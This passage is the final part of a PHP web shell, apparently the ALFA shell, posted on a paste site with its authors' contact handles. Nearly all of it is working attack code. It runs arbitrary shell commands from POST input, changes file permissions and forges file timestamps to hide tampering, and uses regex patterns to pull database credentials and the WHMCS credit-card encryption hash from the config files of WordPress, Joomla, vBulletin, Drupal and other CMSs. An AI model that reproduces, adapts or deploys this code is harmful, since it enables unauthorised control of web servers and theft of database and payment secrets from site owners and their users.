  6101. $this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)';
  6102. $this->path = ALFA_TEMPDIR.'/Alfa_cookies.txt';
  6103. $this->compression=$compression;
  6104. $this->proxy=$proxy;
  6105. $this->cookies=$cookies;
  6106. if($this->cookies)$this->cookie($this->path);
  6107. }
  6108. function cookie($cookie_file) {
  6109. if (_alfa_file_exists($cookie_file,false)) {
  6110. $this->cookie_file=$cookie_file;
  6111. }else{
  6112. @fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.'));
  6113. $this->cookie_file=$cookie_file;
  6114. @fclose($this->cookie_file);
  6115. }
  6116. }
  6117. function Send($url,$method="get",$data=""){
  6118. if(!$this->curl_status){return false;}
  6119. $process = curl_init($url);
  6120. curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
  6121. curl_setopt($process, CURLOPT_HEADER, 0);
  6122. curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
  6123. curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
  6124. curl_setopt($process, CURLOPT_ENCODING , $this->compression);
  6125. curl_setopt($process, CURLOPT_TIMEOUT, 30);
  6126. if($this->ssl){
  6127. curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);
  6128. curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);
  6129. }
  6130. if($this->cookies){
  6131. curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
  6132. curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
  6133. }
  6134. if($this->proxy){
  6135. curl_setopt($process, CURLOPT_PROXY, $this->proxy);
  6136. }
  6137. if($method=='post'){
  6138. curl_setopt($process, CURLOPT_POSTFIELDS, $data);
  6139. curl_setopt($process, CURLOPT_POST, 1);
  6140. curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
  6141. }
  6142. $return = @curl_exec($process);
  6143. curl_close($process);
  6144. return $return;
  6145. }
  6146. function error($error) {
  6147. echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
  6148. die;
  6149. }
  6150. }
  6151. function getConfigHtml($cms){
  6152. $content = '';
  6153. $cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");
  6154. $content .= "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
  6155. foreach($cms_array as $key => $val){
  6156. $content .= "<option value='{$key}' ".($key==$cms?'selected=selected':'').">{$val}</option>";
  6157. }
  6158. $content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='".$_SERVER['DOCUMENT_ROOT']."/' size='30' /> <button class='button'>GetConfig</button>";
  6159. $content .= "</form>";
  6160. return $content;
  6161. }
  6162. if (!function_exists('json_encode')){
  6163. function json_encode($a=false){
  6164. if (is_null($a)) return 'null';
  6165. if ($a === false) return 'false';
  6166. if ($a === true) return 'true';
  6167. if (is_scalar($a))
  6168. {
  6169. if (is_float($a))
  6170. {
  6171. return floatval(str_replace(",", ".", strval($a)));
  6172. }
  6173.  
  6174. if (is_string($a))
  6175. {
  6176. static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"'));
  6177. return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
  6178. }
  6179. else
  6180. return $a;
  6181. }
  6182. $isList = true;
  6183. for ($i = 0, reset($a); $i < count($a); $i++, next($a))
  6184. {
  6185. if (key($a) !== $i)
  6186. {
  6187. $isList = false;
  6188. break;
  6189. }
  6190. }
  6191. $result = array();
  6192. if ($isList)
  6193. {
  6194. foreach ($a as $v) $result[] = json_encode($v);
  6195. return '[' . join(',', $result) . ']';
  6196. }
  6197. else
  6198. {
  6199. foreach ($a as $k => $v) $result[] = json_encode($k).':'.json_encode($v);
  6200. return '{' . join(',', $result) . '}';
  6201. }
  6202. }
  6203. }
  6204. if ( !function_exists('json_decode') ){
  6205. function json_decode($json, $array=true){
  6206. $comment = false;
  6207. $out = '$x=';
  6208. for ($i=0; $i<strlen($json); $i++)
  6209. {
  6210. if (!$comment)
  6211. {
  6212. if ($json[$i] == '{' || $json[$i] == '['){$out .= ' array(';}
  6213. else if ($json[$i] == '}' || $json[$i] == ']'){$out .= ')';}
  6214. else if ($json[$i] == ':'){$out .= '=>';}
  6215. else {$out .= $json[$i];}
  6216. }
  6217. else $out .= $json[$i];
  6218. if ($json[$i] == '"') $comment = !$comment;
  6219. }
  6220. eval($out . ';');
  6221. return $x;
  6222. }
  6223. }
  6224. function alfaterminalExec(){
  6225. $pwd = "pwd";
  6226. $seperator = ";";
  6227. if($GLOBALS['sys']!='unix'){
  6228. $pwd = "cd";
  6229. $seperator = "&";
  6230. }
  6231. if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."'".$seperator;}
  6232. $current_path = '';
  6233. if(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['alfa1'], $match)){
  6234. if(empty($match[1])){
  6235. $match[1] = $match[2];
  6236. }
  6237. $current_path = alfaEx("cd ".addslashes($match[1]).$seperator.$pwd);
  6238. $current_path = str_replace("\\", "/", $current_path);
  6239. }
  6240. $out = alfaEx($cmd.$_POST['alfa1'], true);
  6241. $out = htmlspecialchars($out);
  6242. echo json_encode(array("output" => convertBash($out), "path" => $current_path));
  6243. }
  6244. function convertBash($code) {
  6245. $dictionary = array(
  6246. '[01;30m' => '<span style="color:black">',
  6247. '[01;31m' => '<span style="color:red">',
  6248. '[01;32m' => '<span style="color:green">',
  6249. '[01;33m' => '<span style="color:yellow">',
  6250. '[01;34m' => '<span style="color:blue">',
  6251. '[01;35m' => '<span style="color:purple">',
  6252. '[01;36m' => '<span style="color:cyan">',
  6253. '[01;37m' => '<span style="color:white">',
  6254. '[0m' => '</span>'
  6255. );
  6256. $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
  6257. return $htmlString;
  6258. }
  6259. function alfadoActions(){
  6260. $chdir_fals = false;
  6261. if(!@chdir($_POST['c'])){
  6262. $chdir_fals = true;
  6263. $alfa_canruncmd = _alfa_can_runCommand(true,true);
  6264. }
  6265. if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
  6266. if(isset($_POST['alfa2']))$_POST['alfa2'] = rawurldecode($_POST['alfa2']);
  6267. $action = $_POST["alfa3"];
  6268. if($action == "permission"){
  6269. $perms = 0;
  6270. $perm = $_POST["alfa2"];
  6271. for($i=strlen($perm)-1;$i>=0;--$i){
  6272. $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));
  6273. }
  6274. if(@chmod($_POST['alfa1'], $perms)){
  6275. echo("done");
  6276. }else{
  6277. echo("no");
  6278. }
  6279. return;
  6280. }
  6281. if($action == "rename" || $action == "move"){
  6282. $alfa1_decoded = $_POST['alfa1'];
  6283. if($chdir_fals){
  6284. $_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
  6285. }
  6286. $_POST['alfa1'] = trim($_POST['alfa1']);
  6287. $alfa1_escape = addslashes($_POST["alfa1"]);
  6288. if($_POST["alfa3"] == "rename"){
  6289. $_POST['alfa2'] = basename($_POST['alfa2']);
  6290. }
  6291. if(!empty($_POST['alfa2'])){
  6292. $cmd_rename = false;
  6293. if($chdir_fals&&$alfa_canruncmd){
  6294. if(_alfa_is_writable($_POST['alfa1'])){
  6295. $cmd_rename = true;
  6296. $alfa1_escape = addslashes($alfa1_decoded);
  6297. alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa2'])."'");
  6298. }
  6299. }
  6300. if(!file_exists($_POST['alfa2'])){
  6301. if(@rename($_POST['alfa1'], $_POST['alfa2'])||$cmd_rename){
  6302. echo "done";
  6303. }else{
  6304. echo "no";
  6305. }
  6306. }else{
  6307. echo "no";
  6308. }
  6309. }
  6310. }elseif($action == "copy"){
  6311. if(is_dir($_POST["alfa1"])){
  6312. $dir = str_replace('//', '/', $_POST["alfa1"]);
  6313. $dir = explode('/', $dir);
  6314. if(empty($dir[count($dir) - 1])){
  6315. $name = $dir[count($dir) - 2];
  6316. }else{
  6317. $name = $dir[count($dir) - 1];
  6318. }
  6319. }else{
  6320. $name = basename($_POST["alfa1"]);
  6321. }
  6322. $dir = dirname($_POST["alfa1"]);
  6323. if($dir == "."){
  6324. $dir = $_POST["c"]."/";
  6325. }
  6326. if(is_file($_POST["alfa1"])){
  6327. @copy($_POST["alfa1"], $_POST["alfa2"]);
  6328. echo("done");
  6329. }elseif(is_dir($_POST["alfa1"])){
  6330. if(!is_dir($_POST["alfa2"])){
  6331. mkdir($_POST["alfa2"], 0755, true);
  6332. }
  6333. copy_paste($dir, $name , $_POST["alfa2"] . "/");
  6334. echo("done");
  6335. }
  6336. }elseif($action == "modify"){
  6337. if( !empty($_POST['alfa1']) ) {
  6338. $time = strtotime($_POST['alfa1']);
  6339. if($time){
  6340. $touched = false;
  6341. if($chdir_fals&&$alfa_canruncmd){
  6342. alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa1']))."' '".addslashes($_POST['alfa2'])."'");
  6343. $touched = true;
  6344. }
  6345. if(!@touch($_POST['alfa2'],$time,$time)&&!$touched){
  6346. echo 'no';
  6347. }else{
  6348. echo 'ok';
  6349. }
  6350. } else{
  6351. echo 'badtime';
  6352. }
  6353. }
  6354. }
  6355.  
  6356. }
  6357. function alfaget_flags(){
  6358. $flags = array();
  6359. if(function_exists("curl_version")){
  6360. $curl = new AlfaCURL();
  6361. $server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]);
  6362. $flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
  6363. $flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
  6364. if(strpos($flag2, "geoplugin") != false){
  6365. $flag = json_decode($flag, true);
  6366. $flag2 = json_decode($flag2, true);
  6367. if(!empty($flag['geoplugin_countryCode'])){
  6368. $flags["server"]["name"] = $flag['geoplugin_countryName'];
  6369. $flags["server"]["code"] = $flag['geoplugin_countryCode'];
  6370. }
  6371. if(!empty($flag2['geoplugin_countryCode'])){
  6372. $flags["client"]["name"] = $flag2['geoplugin_countryName'];
  6373. $flags["client"]["code"] = $flag2['geoplugin_countryCode'];
  6374. }
  6375. }
  6376. }
  6377. echo json_encode($flags);
  6378. }
  6379. function alfaGetConfig(){
  6380. $cms = $_POST['alfa1'];
  6381. $path = trim($_POST['alfa2']);
  6382. $config = array(
  6383. 'wp'=>array('file'=>'/wp-config.php',
  6384. 'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
  6385. 'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
  6386. 'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
  6387. 'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
  6388. 'prefix'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/",1)
  6389. ),
  6390. 'drupal'=>array('file'=>'/config.php',
  6391. 'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
  6392. 'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
  6393. 'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
  6394. 'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
  6395. 'prefix'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1)
  6396. ),
  6397. 'drupal2'=>array('file'=>'/sites/default/settings.php',
  6398. 'host'=>array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
  6399. 'dbname'=>array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
  6400. 'dbuser'=>array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
  6401. 'dbpw'=>array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
  6402. 'prefix'=>array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1)
  6403. ),
  6404. 'vb'=>array('file'=>'/includes/config.php',
  6405. 'host'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
  6406. 'dbuser'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
  6407. 'dbname'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
  6408. 'dbpw'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
  6409. 'prefix'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3)
  6410. ),
  6411. 'phpnuke'=>array('file'=>'/config.php',
  6412. 'host'=>array('/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
  6413. 'dbname'=>array('/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
  6414. 'dbuser'=>array('/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
  6415. 'dbpw'=>array('/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
  6416. 'prefix'=>array('/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3)
  6417. ),
  6418. 'smf'=>array('file'=>'/Settings.php',
  6419. 'host'=>array("/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6420. 'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6421. 'dbuser'=>array("/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6422. 'dbpw'=>array("/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6423. 'prefix'=>array("/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6424. ),
  6425. 'whmcs'=>array('file'=>'/configuration.php',
  6426. 'host'=>array("/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6427. 'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6428. 'dbuser'=>array("/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6429. 'dbpw'=>array("/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6430. 'cc_encryption_hash'=>array("/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6431. ),
  6432. 'joomla'=>array('file'=>'/configuration.php',
  6433. 'host'=>array("/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6434. 'dbname'=>array("/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6435. 'dbuser'=>array("/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6436. 'dbpw'=>array("/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6437. 'prefix'=>array("/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6438. ),
  6439. 'phpbb'=>array('file'=>'/config.php',
  6440. 'host'=>array("/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6441. 'dbname'=>array("/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6442. 'dbuser'=>array("/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6443. 'dbpw'=>array("/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6444. 'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6445. ),
  6446. 'mybb'=>array('file'=>'/inc/config.php',
  6447. 'host'=>array("/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6448. 'dbname'=>array("/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6449. 'dbuser'=>array("/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6450. 'dbpw'=>array("/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6451. 'prefix'=>array("/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6452. )
  6453. );
  6454. if($cms == "drupal"){
  6455. $file = $config[$cms]['file'];
  6456. $file=$path.$file;
  6457. if(@is_file($file)||_alfa_is_dir($file,"-e")){
  6458. }else{
  6459. $cms = 'drupal2';
  6460. }
  6461. }
  6462. if($cms == "vb"){
  6463. $file = $config[$cms]['file'];
  6464. $file=$path.$file;
  6465. if(@is_file($file)||_alfa_is_dir($file,"-e")){
  6466. }else{
  6467. $path .= '/core';
  6468. }
  6469. }
  6470. $data = array();
  6471. $srch_host = $config[$cms]['host'][0];
  6472. $srch_user = $config[$cms]['dbuser'][0];
  6473. $srch_name = $config[$cms]['dbname'][0];
  6474. $srch_pw = $config[$cms]['dbpw'][0];
  6475. $prefix = $config[$cms]['prefix'][0];
  6476. $file = $config[$cms]['file'];
  6477. $chost = $config[$cms]['host'][1];
  6478. $cuser = $config[$cms]['dbuser'][1];
  6479. $cname = $config[$cms]['dbname'][1];
  6480. $cpw = $config[$cms]['dbpw'][1];
  6481. $cprefix = $config[$cms]['prefix'][1];
  6482. if(@is_dir($path)||_alfa_is_dir($path)){
  6483. $file=$path.$file;
  6484. }elseif(@is_file($path)||_alfa_is_dir($path,"-e")){
  6485. $file=$path;
  6486. }else{
  6487. return false;
  6488. }
  6489. $file = __read_file($file);
  6490. if($cms == "drupal2"){
  6491. $file = preg_replace("/\@code(.*?)\@endcode/s", "", $file);
  6492. }elseif($cms == "vb"){
  6493. $file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
  6494. }
  6495. if(preg_match($srch_host, $file, $mach)){
  6496. $data['host'] = $mach[$chost];
  6497. }
  6498. if(preg_match($srch_user, $file, $mach)){
  6499. $data['user'] = $mach[$cuser];
  6500. }
  6501. if(preg_match($srch_name, $file, $mach)){
  6502. $data['dbname'] = $mach[$cname];
  6503. }
  6504. if(preg_match($srch_pw, $file, $mach)){
  6505. $data['password'] = $mach[$cpw];
  6506. }
  6507. if(isset($prefix)){
  6508. if(preg_match($prefix, $file, $mach)){
  6509. $data['prefix'] = $mach[$cprefix];
  6510. }
  6511. }
  6512. if($cms=='whmcs'){
  6513. if(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){
  6514. $data['cc_encryption_hash'] = $mach[3];
  6515. }
  6516. }
  6517. echo json_encode($data);
  6518. }
  6519. if(empty($_POST['a']))
  6520. if(isset($default_action) && function_exists('alfa' . $default_action))
  6521. $_POST['a'] = $default_action;
  6522. else
  6523. $_POST['a'] = 'FilesMan2';//'FilesMan';
  6524. if(!empty($_POST['a']) && function_exists('alfa' . $_POST['a']))
  6525. call_user_func('alfa' . $_POST['a']);
  6526. exit;
  6527. /*
  6528. #Persian Gulf For Ever
  6529. #skype : sole.sad
  6530. #skype : ehsan.invisible
  6531. */
  6532. ?>
  6533.  
Add Comment
Please, Sign In to add comment